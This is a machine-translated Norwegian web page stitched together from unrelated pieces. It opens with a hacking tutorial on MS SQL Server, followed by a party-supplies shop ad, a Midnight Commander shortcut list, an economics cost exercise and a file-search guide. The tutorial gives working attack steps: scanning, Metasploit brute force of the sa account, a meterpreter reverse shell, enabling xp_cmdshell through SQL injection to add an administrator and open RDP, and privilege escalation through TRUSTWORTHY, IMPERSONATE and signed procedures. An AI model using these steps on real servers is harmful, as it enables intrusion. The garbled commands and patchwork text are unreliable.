Metoder og midler for å hacke MS SQL-databaser. Hvorfor velge MF Search?

Nesten ingen seriøs pentest er komplett uten å sjekke DBMS, fordi dette er en av de mest populære dørene til ønsket informasjon og maskin blant angripere. I store prosjekter brukes MS ofte som et DBMS SQL Server. Og i dag skal vi snakke om å sjekke sikkerheten. Vi vil ikke oppdage Amerika - erfarne kamerater vil bare friske opp kunnskapen sin, men for de som akkurat har begynt å mestre emnet, prøvde jeg å bryte alt ned punkt for punkt så detaljert som mulig.

ADVARSEL!

All informasjon gis kun for informasjonsformål. Verken forfatteren eller redaktørene er ansvarlige for mulig skade forårsaket av materialet i denne artikkelen.

Introduksjon

Et av de viktigste pålitelighetskriteriene informasjon System- DBMS-sikkerhet. Angrep rettet mot det er i de fleste tilfeller kritiske, fordi de delvis eller fullstendig kan forstyrre driften av systemet. Siden store organisasjoner dannet sin infrastruktur for lenge siden og oppdatering til nye programvareversjoner forårsaker dem "store" problemer, er de vanligste versjonene fortsatt MS SQL Server 2005 og MS SQL Server 2008. Men dette er bare statistikk, og videre vil vi vurdere vektorer og teknikker som er felles for alle versjoner. For enkelhets skyld vil vi betinget dele hele pentest-prosessen i flere stadier.

Hvordan finne MS SQL

Det første en pentester begynner å gjøre er å samle informasjon om tjenester som ligger på offerets server. Det viktigste du trenger å vite for å søke etter Microsoft SQL Server er portnumrene den lytter på. Og den lytter til portene 1433 (TCP) og 1434 (UDP). For å sjekke om MS SQL er til stede på offerets server, må du skanne den. For å gjøre dette kan du bruke Nmap med ms-sql-info-skriptet. Skanningen vil starte noe slikt:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Vel, resultatet av utførelsen er presentert i fig. 1.

I tillegg til Nmap er det en utmerket skannemodul for Metasploit mssql_ping, som også lar deg bestemme tilstedeværelsen av MS SQL på den angrepne serveren:

Msf> bruk auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > sett RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > kjør

Ved å bruke ett av disse alternativene kan du raskt finne ut om MS SQL er installert på serveren, og også finne ut versjonen. Deretter kan du gå videre til neste trinn.


Ren styrke

La oss si at vi fant en DBMS på serveren. Nå er oppgaven å få tilgang til den. Og her står vi overfor den første hindringen i form av autentisering. Generelt støtter MS SQL to typer autentisering:

  1. Windows-autentisering er en klarert tilkobling der SQL Server godtar brukerkontoen, forutsatt at den allerede er verifisert på operativsystem.
  2. Blandet modus - autentisering ved hjelp av SQL Server + Windows-autentisering.

Som standard brukes den første autentiseringsmodusen, og blandet modus aktiveres separat. I praksis er det ganske vanskelig å finne en base uten en blandet modus - den er mer fleksibel.

Noen fordeler med blandet modus

  • Lar SQL Server støtte eldre applikasjoner så vel som tredjepartsapplikasjoner som krever SQL Server-autentisering.
  • Lar SQL Server støtte miljøer med flere operativsystemer der brukere ikke er Windows-domeneautentisert.
  • Tillater utviklere programvare distribuer applikasjonene dine ved hjelp av et komplekst tillatelseshierarki basert på kjente, forhåndsetablerte navn SQL pålogging Server.

Vanligvis på dette stadiet har vi ikke tilgang til bedriftsnettverk, derfor kan vi ikke bruke autentisering via Windows. Men vi fant åpen port med MS SQL, som betyr at vi prøver å brute force sa admin-kontoen, som er standard for blandet modus. For å automatisere prosessen bruker vi Metasploit-modulen mssql_login:

Msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssqloot_login)* /0r PASS_FILE]/0r 4: 1433 - MSSQL - Starter autentiseringsskanner. [*] 172.16.2.104:1433 - PÅLOGGNING MISLYKTES: WORKSTATION\sa:admin (Feil:) [*] 172.16.2.104:1433 - PÅLOGGNING MISLYKKES: WORKSTATION\sa:qwerty (Feil:) [*] 123.172. - PÅLOGGING MISLYKKES: WORKSTATION\sa:toor (Feil:) [+] 172.16.2.104:1433 - LOGG PÅ VELUKKET: WORKSTATION\sa:root [*] Skannet 1 av 1 verter (100 % fullført) [*] Utførelse av hjelpemodul fullført

Flott! Passordet er funnet, nå kan vi gå videre til neste trinn. Men hva hvis det ikke er en sa-konto på serveren? Deretter må du brute innloggingen, som du må angi til skriptet en annen fil hvor du kan hente dem fra:

Msf auxiliary(mssql_login) > sett USER_FILE /root/Desktop/user.txt

Får et skall

Hvis vi klarte å tilbakestille sa-kontoen, kan vi logge inn i databasen. Deretter er skriptet enkelt - vi aktiverer en lagret prosedyre som lar oss utføre kommandoer på operativsystemnivå, og laste opp Meterpreter-skallet til serveren. Kule gutter har skrevet en utmerket modul for Metasploit, mssql_payload, som automatiserer denne prosessen:

Msf > bruk utnyttelse/windows/mssql/mssql_payload msf exploit(mssql_payload) > sett RHOST 172.16.2.104 msf exploit(mssql_payload) > sett BRUKERNAVN sa BRUKERNAVN => sa msf utnyttelse(mssql_payload) = P rot mASS PASSWORD> P rootWord> mssql_payload) > sett PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > sett LHOST 172.16.2.105 LHOST => 172.16.2.105 1 Commander 01.01 22 46 bytes ) [*] Meterpreter økt 1 åpnet (172.16.2.105:4444 -> 172.16.2.104:3987) kl. 2015-02-20 10:42:52 -0500 meterpreter >

Meterpreter-økten er opprettet, nå har du det full tilgang. Du kan dumpe admin-hashen, ta skjermbilder, opprette/slette filer, aktivere/deaktivere musen eller tastaturet og mye mer. Dette er kanskje det mest populære skallet som brukes i penetrasjonstester. Full liste Målerens kommandoer kan sees.

Hva skal jeg gjøre hvis påloggingen/passordet ikke er tilbakestilt?

Men ikke smigr deg selv, mssql_login-modulen vil ikke gjøre deg glad veldig ofte: administratorer lar svært sjelden passordet være standard. I dette tilfellet vil SQL-injeksjon hjelpe oss med å få et skall. Tenk deg et HTML-skjema der brukeren skriver inn artikkelnummeret, og en enkel sårbar forespørsel til databasen, alt kjører under sa admin-kontoen:

$strSQL = "VELG * FRA . WHERE id=$id";

$id-variabelen er ikke filtrert på noen måte, noe som betyr at du kan utføre en SQL-injeksjon der enhver forespørsel vil bli utført under sa admin-kontoen. For å utføre kommandoer på operativsystemnivå, må du aktivere den lagrede prosedyren xp_cmdshell, som er deaktivert som standard. Vi må sende fire forespørsler for å aktivere den:

  1. EXEC sp_configure "vis avanserte alternativer",1;
  2. rekonfigurere;
  3. 'exec sp_configure "xp_cmdshell",1;
  4. konfigurere på nytt

Den sp_configure systemlagrede prosedyren lar deg vise, dokumentere, endre og gjenopprette en servers konfigurasjon. Den enkleste måten å få tilgang til serveren på er å aktivere RDP gjennom registeret, opprette en bruker med administratorrettigheter og koble til.

Aktiver RDP:

10; reg legg til "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Opprett en bruker:

10; exec master.dbo.xp_cmdshell "nettbruker root toor /ADD"

Vi gir rettigheter:

10;exec master.dbo.xp_cmdshell "nett lokalgruppeadministratorer root/add"

Utvidelse av privilegier. TROVERDIG

I det forrige tilfellet skjedde forespørselen til databasen på vegne av administratoren, og derfor var det så enkelt å utføre operativsystemkommandoer. Men hva om vi har en redusert konto som ikke har rettighetene til å aktivere xp_cmdshell? I dette tilfellet vil lagrede prosedyrer og den aktiverte TRUSTWORTHY-egenskapen til databasen hjelpe oss.

Men la oss starte helt fra begynnelsen. For større klarhet i denne vektoren, vil jeg beskrive hele stadiet på stadiet med å konfigurere databasen og kontoene. Vi skaper ny base YOLO: LAG DATABASE YOLO; . Opprett en ny bruker bob med passordet marley: CREATE LOGIN bob MED PASSORD = "marley"; Vi tildeler brukeren bob som eier av YOLO-databasen:

BRUK YOLO ALTER LOGIN med default_database = ; OPPRETT BRUKER FRA LOGG PÅ ; EXEC sp_addrolemember , ;

Deretter setter vi TRUSTWORTHY-egenskapen, som bestemmer om objekter i denne databasen (visninger, brukerfunksjoner, lagrede prosedyrer) skal få tilgang til objekter utenfor denne databasen i etterligningsmodus: ALTER DATABASE YOLO SET TRUSTWORTHY ON . Logg på SQL Server med bob:marley-kontoen.

Lag en lagret prosedyre for tildeling regnskap bob sysadmin privilegier:

BRUK YOLO GO CREATE PROSEDYRE sp_lvlup MED EXECUTE SOM EIER SOM EXEC sp_addsrvrolemember "bob","sysadmin" GO

La oss sørge for at vi ikke har sysadmin-rettigheter før vi utfører den lagrede prosedyren:

SELECT is_srvrolemember("sysadmin") resultat = 0

La oss utføre den lagrede prosedyren sp_lvlup opprettet ovenfor:

BRUK YOLO EXEC sp_lvlup

Og igjen la oss sjekke privilegiene våre:

SELECT is_srvrolemember("sysadmin") resultat = 1

Sp_lvlup-prosedyren er designet for å kjøres som OWNER, som i dette tilfellet er sa-administratorkontoen. Dette er mulig fordi db_owner har opprettet en lagret prosedyre for sin database, og denne databasen er konfigurert som klarert, det vil si at TRUSTWORTHY-egenskapen er On . Uten denne egenskapen ville prosedyren mislykkes på grunn av mangel på privilegier. Aktivert TRUSTWORTHY er ikke alltid en dårlig ting. Problemer begynner når administratorer ikke reduserer rettighetene til databaseeiere. Som et resultat ble bob-kontoen gitt sysadmin-rettigheter etter å ha utført sp_lvlup-prosedyren. For å se hvilke databaser som har TRUSTWORTHY-egenskapen aktivert, kan du bruke følgende spørring:

SELECT name, database_id, is_trustworthy_on FROM sys.databases

Eller for å automatisere hele prosessen, kan du bruke mssql_escalate_dbowner_sqli-modulen for Metasploit:

Bruk auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.80.104: Success! Bob er nå systemadministrator!

Utvidelse av privilegier. Etterligning av bruker

Den neste vektoren kalles User Impersonation. Noen ganger trenger lagrede prosedyrer tilgang til eksterne ressurser plassert utenfor applikasjonsdatabasen. For å oppnå dette bruker utviklere IMPERSONATE-privilegiet og EXECUTE AS-funksjonen, som gjør at forespørselen kan utføres som en annen konto. Dette er ikke en sårbarhet i seg selv, men snarere en svak konfigurasjon som fører til rettighetseskalering.

Som i forrige eksempel vil vi begynne å forstå essensen av vektoren på konfigurasjonsstadiet. Først av alt oppretter vi fire kontoer:

LAG PÅLOGGNING Bruker1 MED PASSORD = "hemmelig"; LAG PÅLOGGNING Bruker2 MED PASSORD = "hemmelig"; LAG PÅLOGGNING Bruker3 MED PASSORD = "hemmelig"; LAG PÅLOGGNING Bruker4 MED PASSORD = "hemmelig";

Deretter gir vi brukeren User1 privilegier til å utføre forespørsler på vegne av sa , User2 , User3:

BRUK master; GI UTGJØRELSE PÅ LOGG PÅ::sa til ; GI IMPERSONATE ON LOGIN::MyUser2 til ; GI IMPERSONATE ON LOGIN::MyUser3 til ; GÅ

Logg på SQL Server under User1-kontoen og kontroller om rettighetene til å utføre spørringer fra andre kontoer er brukt.

VELG distinkt b.navn FRA sys.server_permissions a INNER JOIN sys.server_principals b PÅ a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

La oss nå sjekke gjeldende privilegier:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Resultat = 0

Vel, nå selve trikset - la oss utføre forespørselen på vegne av sa, siden vi ovenfor ga privilegier til User1-kontoen til å utføre forespørsler på vegne av sa:

UTFØR SOM PÅLOGGING = "sa" VELG SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Resultat = 1

Alt er i orden, nå kan vi utføre kommandoer som sa , noe som betyr at vi kan aktivere den lagrede prosedyren xp_cmdshell:

EXEC sp_configure "vis avanserte alternativer",1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell",1 RECONFIGURE GO

INFO

Standard sysadmin-kontoen kan kjøre spørringer på vegne av andre brukere. Følgende spørring vil hjelpe deg å vise en tabell med alle brukere: VELG * FRA master.sys.sysusers WHERE islogin = 1 . For å kjøre en forespørsel på vegne av en annen konto, bruk EXECUTE AS LOGIN = "AnyUser" . For å gå tilbake til forrige konto, kjør bare REVERT-spørringen.

Det er trikset. For å automatisere, som vanlig, kan du bruke Metasploit-modulen mssql_escalete_executeas_sqli:

Bruk auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.80.10 Bruker1 er nå en systemadministrator!

Utvidelse av privilegier. Lagrede prosedyrer signert med et sertifikat

For å beskrive denne vektoren vil vi lage en sårbar lagret prosedyre signert med et sertifikat. I motsetning til tidligere eksempler, krever ikke eskalering av privilegier:

  • egenskap TRUSTWORTHY = På;
  • IMPERSONATE privilegier og UTFØR SOM funksjonen;
  • Konfigurere en lagret prosedyre med klassen WITH EXECUTE AS for å kjøre den som en annen konto.

La oss opprette en konto med minimale rettigheter:

LAG PÅLOGG MED PASSORD = "loki"; GO -- Angi innloggings standarddatabase ALTER LOGIN med default_database = ; GÅ

La oss slå av TRUSTWORTHY-egenskapen: ALTER DATABASE-master SET TRUSTWORTHY OFF . Og la oss lage en enkel lagret prosedyre sp_xxx som viser navnekolonnen fra tempdb-databasen, så vel som fra databasen angitt av brukeren:

BRUK MASTER; GÅ OPPRETT PROSEDYRE sp_xxx @DbName varchar(max) AS BEGIN Erklær @query som varchar(max) SET @query = "VELG navn FRA master..sysdatabases der navn som ""%"+ @DbName+"%"" OR name=" "tempdb"""; EXECUTE(@query) END GO

Etter dette vil vi lage en krypteringsnøkkel for MASTER-databasen:

LAG MASTER NØKKELKRYPTERING VED PASSORD = "hemmelig"; GÅ

Og sertifikatet:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = "For å signere sp_xxx", EXPIRY_DATE = "2035-01-01"; GÅ

Det neste trinnet er å opprette en pålogging fra sp_xxx-sertifikatet:

OPPRETT LOGG PÅ sp_xxx_login FRA SERTIFIKAT sp_xxx_cert

Og signer prosedyren med det opprettede sertifikatet:

LEGG TIL SIGNATUR til sp_xxx VED SERTIFIKAT sp_xxx_cert; GÅ

La oss tildele login sp_lvlup2 sysadmin-privilegier:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Vi gir privilegier til medlemmer av PUBLIC-gruppen til å utføre prosedyren:

GI UTFØRELSE PÅ sp_xxx til OFFENTLIG

Som et resultat opprettet vi en tor-bruker med minimale rettigheter, en lagret prosedyre sp_xxx som viser navnet på den angitte databasen, opprettet et sertifikat sp_xxx_cert og signerte den lagrede prosedyren med det, og opprettet også en pålogging sp_xxx_login fra sertifikatet og ga det sysadmin-rettigheter. Dette fullfører den forberedende delen. Logg på med din tor-konto og ring den lagrede prosedyren:

EXEC MASTER.dbo.sp_xxx "master"

Som forventet vil den returnere til oss navnet på databasen vi spesifiserte - master og tempdb (se fig. 3).

Ris. 3. Resultat av EXEC-forespørselen MASTER.dbo.sp_xxx "master"

En spørring som EXEC MASTER.dbo.sp_sqli2 "master""--" vil returnere bare master (se fig. 4).

Fig.4. Resultat av EXEC-forespørselen MASTER.dbo.xxx "master""--"

Flott. Dette betyr at den lagrede prosedyren er mottakelig for SQL-injeksjon. La oss sjekke rettighetene våre ved å bruke følgende spørring:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolemember(""sysadmin"")som priv_certsp--";

priv_cersp=1 (se figur 5) betyr at vi har sysadmin-rettigheter. Utfør kommandoen EXEC master..xp_cmdshell "whoami"; Det vil ikke fungere fordi tor-kontoen har minimale rettigheter, men hvis denne spørringen er innebygd i en SQL-injeksjon, vil alt fungere (fig. 6).

Det som er mest interessant er at dette trikset vil fungere i versjonene 2005–2014.

Konklusjon

Forskjellen i alle disse vektorene er ganske betydelig. I noen tilfeller, for å oppnå målet, kan du begrense deg til den inkluderte TRUSTWORTHY-egenskapen, som lar ressursene til denne databasen brukes av objekter som befinner seg utenfor for å opprette og utføre en lagret prosedyre som eskalerer privilegier. I noen tilfeller kan du utføre lagrede prosedyrer på vegne av andre kontoer takket være IMPERSONATE-privilegiene og EXECUTE AS-funksjonen, og i tredje tilfeller er alt som er viktig tilstedeværelsen av SQL-injeksjon som du kan injisere en spørring gjennom, og det vil bli utført på vegne av en annen konto. For å forstå nyansene og finessene, vil jeg anbefale å teste disse vektorene på din lokale maskin.

Artikkelen gir ikke en uttømmende beskrivelse av alle angrepsvektorer på MS SQL DBMS, men den vil være svært nyttig for en overfladisk sikkerhetsanalyse. Jeg anbefaler også at du gjør deg kjent med en annen hackingvektor via DB-lenker, som ble beskrevet av Alexey Tyurin i desemberutgaven ][ (#191) i Easy Hack-delen. Det er alt, takk for oppmerksomheten og på gjensyn.

Å organisere en ferie er en vanskelig oppgave. Det er så mange ting å tenke på og ta vare på. MF Search-firmaet forenkler en av oppgavene - innredning. Vi har samlet ferievarekatalog, som inneholder en rekke romdekorasjoner og små gjenstander som er nyttige for feiringer.

Katalog over varer til ferien: lage en handleliste

MF Search-katalogen kan kalles en ferdig handleliste. Den har en praktisk og detaljert struktur. Du kan kjøpe hos oss:

  • Bryllupsutstyr. Bånd, konfetti, låser, dekor til hall og bil og mye mer.
  • Alt til karnevalet. I denne delen finner du tilbehøret som er nødvendig for en kostymefest, nyttårskarneval, Halloween, temabursdagsfest, etc.
  • Engangsservise. Bordet er ikke alltid dekket med porselen og keramikk. For eksempel, for å dekke et barnebord eller for å feire en bursdag på kontoret, er det mer praktisk å bruke papirtallerkener og kopper.
  • Festleker og såpebobler. For å unngå at barn kjeder seg i ferien, må du ta vare på fritiden deres på forhånd. For en poengsum! Vi har samlet alt nødvendig utstyr, alt du trenger å gjøre er å finne en bruk for det.
  • Fyrverkeri og stjernekastere. De vil gjøre ferien lys og uforglemmelig.
  • Stearinlys. Dekorer en kake, tilbring en romantisk kveld, lag en overraskelse - det er et sett med lys for enhver anledning.

Ballonger fra "MF Poisk"

MF Poisk er den største leverandøren av ballonger. Vi samarbeider med produsenter fra USA, Spania og Mexico. Vi gir kvalitetssertifikater og tilbyr det mest komplette utvalget av ballonger, slik at du kan lage din egen unike komposisjon for hvert arrangement. Alle ballonger i vår katalog kan deles inn i lateks og folie.

  • Lateks. De kan velges avhengig av farge, størrelse, form, tema. Vi selger ballonger med og uten mønster, og tilbyr også en logoapplikasjonstjeneste. I tillegg til klassiske alternativer tilbyr vi også uvanlige - slagballer, koblingsballer, figurballer og for modellering.
  • Folie. Det er også mye å velge mellom: walking, large, mini, og i form av tall. For å gjøre utvalget enklere, har vi sortert produktene etter emne, du kan enkelt gå til seksjonen med produkter for bryllup, bursdager, nyttår og andre spesielle begivenheter.

Separat plasserte vi tilbehør til ballene, for eksempel pinner eller vekter. Designere vil være interessert i seksjonen med utstyr - heliumsylindere, pumper, trykksverte.

Hvorfor bør du velge "MF Search"?

  • Mest stor katalog baller.
  • Kvalitetssertifikater er offentlig tilgjengelige.
  • Minste bestillingsbeløp er tilgjengelig for hver kjøper, uavhengig av størrelsen på arrangementet.
  • Alt feriemateriell på ett sted.
  • Rabatter for store engros.

Vi prøver å gjøre oppholdet ditt på siden komfortabelt, så vi har opprettet separate seksjoner med nye produkter, toppselgere, samt "Coming Soon"-kunngjøringer. Hos oss vil du se at det er enkelt å arrangere en fest!

Generell

Ctrl+x,j — Vis bakgrunnsoppgaver

Ctrl-X+A - gjeldende VFS (ftp, etc.)

ESC+siffer - samme som F(siffer) (ESC+5 = F5)

F1-F12

F3 - Vis fil

F3 - (Mens du redigerer) Start tekstvalg. Hvis du trykker på F3 igjen, avsluttes valget

F4 - Filredigering

F5 - Kopier utvalg

F6 - Flytt valg

F8 - Slett utvalg

Shift+F1 – åpner hurtigovergangsmenyen mellom monteringspunkter på venstre panel

Shift+F2 – åpner hurtigovergangsmenyen mellom monteringspunkter på høyre panel

Shift+F5 - kopier filen til samme katalog

Shift+F6 - flytt/gi nytt navn til filen til samme katalog

Søk

ctrl-s — Søk raskt etter en fil eller katalog

alt-shift-? — Henter frem den avanserte filsøkemenyen

Kommandolinje

ctrl-a — markør til begynnelsen

ctrl-e - markør til slutten

esc-! — utfør en kommando med parametere

ctrl-x, p eller alt+a - lim inn katalognavn

esc, skriv inn; ctrl-enter - send gjeldende objekt til kommandolinje

ctrl-x,t — Lim inn alle valgte objekter i kommandolinjen

esc, tab - kommandotillegg

alt-a - lim inn gjeldende katalog i kommandolinjen

Alt-TAB (ESC+TAB) - Den kuleste kombinasjonen for å søke etter nedlastede filer (du glemte for eksempel hvordan du staver det riktig: netcfg eller netconfig. Bare skriv net på kommandolinjen og trykk Alt-TAB - de vil umiddelbart vises du hva du kan løpe, som starter med ord nett) trykk to ganger!
alt-skift-! — utgang av kommandoresultatet
ctrl-shift-v - lim inn fra utklippstavlen

Filoperasjoner

Shift+F4 – Oppretter en ny fil

shift-f6 - gi nytt navn til fil

Ctrl+x,i — Vis raskt informasjon om gjeldende objekt i det andre panelet

Ctrl+x,q – Vis raskt innholdet i filen i det andre panelet

alt-. - Vis skjulte filer

ctrl-x, c - filtillatelser

ctrl-x, o - fileier

Shift-F3 - vis fil (rå/ uten utvidelse)

Ctrl + x v - lag en relativ symbolsk lenke

trl+x,Ctrl+s — Rediger symbolsk lenke

ctrl-t — merk en fil eller fjern merket for den

+ — velg (merk) en gruppe filer med regulært uttrykk

\ - fjern merket for en gruppe filer

ctrl-x, ctrl-d - sammenlign filer

ctrl-t eller Sett inn — Velg gjeldende objekt

Arbeid med kataloger

alt-o — åpne katalogen under markøren i det tilstøtende panelet

alt-i — åpne gjeldende katalog i panelet ved siden av

ctrl-\ - vis "Katalogkatalog"

alt-shift-h — Vis kataloghistorikk

Ctrl+l – Tegn på nytt

Ctrl+Mellomrom – Vis størrelsen på gjeldende katalog

Ctrl-X+D - sammenlign kataloger

ESC+C - endre katalog raskt

alt-c - "Rask katalogendring"-vinduet

Arbeid med paneler

Ctrl-O - slå av panelene og se hva som er under dem (fungerer KUN i Linux!) Her kan du også jobbe i skallet.

alt-, — Bytt panelvisningsmodus (vertikal/horisontal)

alt-t veksle detaljert panelvisningsmodus

Meta+c – Henter frem menyen for raskt å endre gjeldende katalog på det aktive panelet

ctrl-u - bytt paneler

alt-g - markerer den første filen eller katalogen i den viste listen på panelet (i hovedsak som Hjem-tasten, flytter markøren opp)

alt-e — endre panelkoding

Ctrl + x i - bytter det passive panelet til "Informasjonsmodus".

Ctrl + x q - setter det passive panelet i hurtigvisningsmodus

ctrl-x! — meny → «Paneliseringskriterium» (git)

Historie

alt+h; esc, h - kommandolinjehistorikk

alt-p, alt-n - returner forrige (neste) kommandolinje(r)

alt-y. Flytt til forrige katalog fra katalognavigasjonshistorikken; tilsvarer å klikke med musen på '-symbolet<‘ в верхнем углу панели.

alt-u. Flytt til neste katalog fra katalognavigasjonshistorikken; tilsvarer å klikke på '>'-symbolet med musen.

Redaktør

F4 (i editor) - søk og erstatt

F6 (i editor) - søk med regulære uttrykk

Shift-Del (i editoren) - slett en blokk (og legg den i utklippstavlen)

Shift-Ins (i editoren) - sett inn en blokk fra bufferen (fungerer selv i en annen konsoll!!!) Du kan redigere to eller flere filer på forskjellige konsoller og flytte blokker mellom dem.

Shift+F3 – Begynn å velge en tekstblokk. Hvis du trykker F3 igjen, avsluttes valget

Shift+F5 - Lim inn tekst fra mcs interne utklippstavle (les ekstern fil)

Meta+i - Bytter modusen "Automatisk justering med vognretur", praktisk når du limer inn formatert tekst fra utklippstavlen

Meta+l — Gå til linjen etter nummeret

Meta+q – Sett inn et bokstavelig (ikke-utskriftstegn) Se. tabellen nedenfor

Meta+t — Sorter linjer med valgt tekst

Meta+u - Utfør en ekstern kommando og sett inn utdata i posisjonen under markøren

Ctrl+f - Kopier det valgte fragmentet til den interne mc-utklippstavlen (skriv til en ekstern fil)

Ctrl+k - Slett en del av en linje til slutten av linjen

Ctrl+n – Opprett en ny fil

Ctrl+s — Slå syntaksutheving på eller av

Ctrl+t — Velg tekstkoding

Ctrl+u - Angre handlinger

Ctrl+x – Gå til slutten av neste

Ctrl+y - Slett linje

Ctrl+z – Gå til begynnelsen av forrige ord

Meta+Enter — Dialog for å gå til funksjonsdefinisjon

Meta+- - Gå tilbake etter å ha gått til funksjonsdefinisjonen

Meta++ – Gå fremover til funksjonsdefinisjon

Meta+n — Aktiver/deaktiver visning av linjenumre

fanen Flytter valgt tekst til høyre hvis alternativet "Permanente blokkeringer" er slått av

Meta-fane Flytter valgt tekst til venstre hvis alternativet "Permanente blokkeringer" er slått av

Shift+piler Velg tekst

Meta+piler Velg en vertikal blokk

Meta+Shift+ – Bytt visningsmodus for tabulatorer og mellomrom

Meta+Shift++ Bytte modusen “Auto-align by cararriage return”.

Tabellen viser avhengigheten av foretakets totale kostnader av produktproduksjon. Beregn kostnader: fast, variabel, gjennomsnittlig total, gjennomsnittlig fast, gjennomsnittlig variabel. I tabellen fyller du ut kolonnene FC, VC, MC, ATC, AFC, AVC:

Totale kostnader, TC, rub.F.C.V.C.M.C.ATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Løsning:

Faste kostnader ( Faste kostnader) er de kostnadene som ikke avhenger av volumet av produkter eller tjenester som produseres. Uansett hvor mye en bedrift produserer, endres ikke dens faste kostnader. Selv om bedriften ikke har produsert en eneste produktenhet, påløper det kostnader, for eksempel leie av lokaler, oppvarmingsgebyrer, lånegebyrer mv.

Dermed vil FC for et hvilket som helst volum av produksjon være lik 60 rubler.

Variable kostnader ( Variable kostnader) er kostnader som endres når volumet av produserte produkter eller tjenester endres. I sum med faste kostnader er de lik verdien av totale kostnader ( Totale kostnader):

TC = FC + VC.

Herfra:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

Marginalkostnaden ( Marginale kostnader) er økningen i kostnadene knyttet til produksjonen av en ekstra produktenhet.

MC = ΔTC / ΔQ

Siden i denne oppgaven er økningen i produksjon alltid lik 1, kan vi omskrive denne formelen som følger:

MC = ΔTC / 1 = ΔTC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Gjennomsnittlige totale kostnader ( Gjennomsnittlige totale kostnader) er kostnaden for å produsere én produksjonsenhet.

ATC = TC/Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC(4) = TC(4) / 4 = 300 / 4 = 75.

Gjennomsnittlige faste kostnader ( Gjennomsnittlige faste kostnader) er faste kostnader per produksjonsenhet.

AFC = FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4) / 4 = 60 / 4 =15.

Gjennomsnittlige variable kostnader ( Gjennomsnittlige variable kostnader) er de variable kostnadene ved å produsere én produksjonsenhet.

AVC = VC/Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4) / 4 = 240 / 4 =60.

Når du kjenner til ATC og AFC, kan gjennomsnittlige variable kostnader også finnes som forskjellen mellom gjennomsnittlige totale og gjennomsnittlige faste kostnader:

AVC = ATC - AFC

La oss fylle ut hullene i tabellen:

Utgang per tidsenhet, Q, stk.Totale kostnader, TC, rub.F.C.V.C.M.C.ATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Ved bruk av ferdige programvareprodukter, For eksempel CMS Joomla, ganske ofte må du forholde deg til det faktum at en feilmelding eller advarsel vises i resultatene av programmet, men nei detaljert informasjon, hvor denne kodebiten er plassert. I disse tilfellene er den enkleste måten å søke etter filen i Midnattssjef etter linje. La oss se på hvordan du gjør dette.

Vanligvis vet du den omtrentlige plasseringen av filen med det nødvendige kodefragmentet. Derfor, først og fremst, la oss gå til katalogen der denne filen kan ligge.

I kontekstmenyen i feltet" Start ved:» ( Fra katalogen ) la oss forlate poenget: vi er allerede i den forventede katalogen som inneholder den nødvendige filen. Men ved å velge alternativet " T ree" ( D tre), kan du velge en annen katalog å søke etter.

Kontekstfeltet "Ena" b le ignorere kataloger" ( OG ignorere kataloger) kan stå tom hvis du ikke vil ekskludere noen kjente kataloger fra søket for å begrense søkeområdet.

I feltet " Filnavn» ( Navnemal ) må du angi et filnavn eller en mal for navnet. Malen bruker ? for hvilken som helst karakter eller * for et hvilket som helst antall tegn. Hvis vi ikke vet noe om filnavnet eller filtypen, skriv gjerne inn *.* .

Velg eventuelt:

  • « F ind rekursivt" ( Finn re Til ursivt)
  • « U syng skallmønstre" ( M etashell-karakterer)
  • "Cas e følsom" ( U til og med registrere deg)
  • « EN ll tegnsett" ( I Alle kodinger)
  • "S k ip skjult" ( Hopp over skt s du er e)

I feltet " Innhold» ( Innhold ) skriv inn linjen som Midnight Commander må finne i alle filene den møter.

Velg eventuelt:

  • "Hav r ch for innhold" ( Søk etter innhold og jeg antar) ← DETTE VALGET KREVES FOR ET STRINGSØK
  • "Re g ular uttrykk" ( R vanlig uttrykk)
  • "Kassaksforstand Jeg tiv" ( Regnskap for vedr G istra)
  • "EN l l tegnsett" ( Sol e kodinger)
  • « W hull ord" ( MED hele fangsten)
  • "Gran s t treffer" ( Helt til den første inn X fødsel)

Start søket " O k" ( D alshe), stopp med " C ansel" ( P Rive opp).

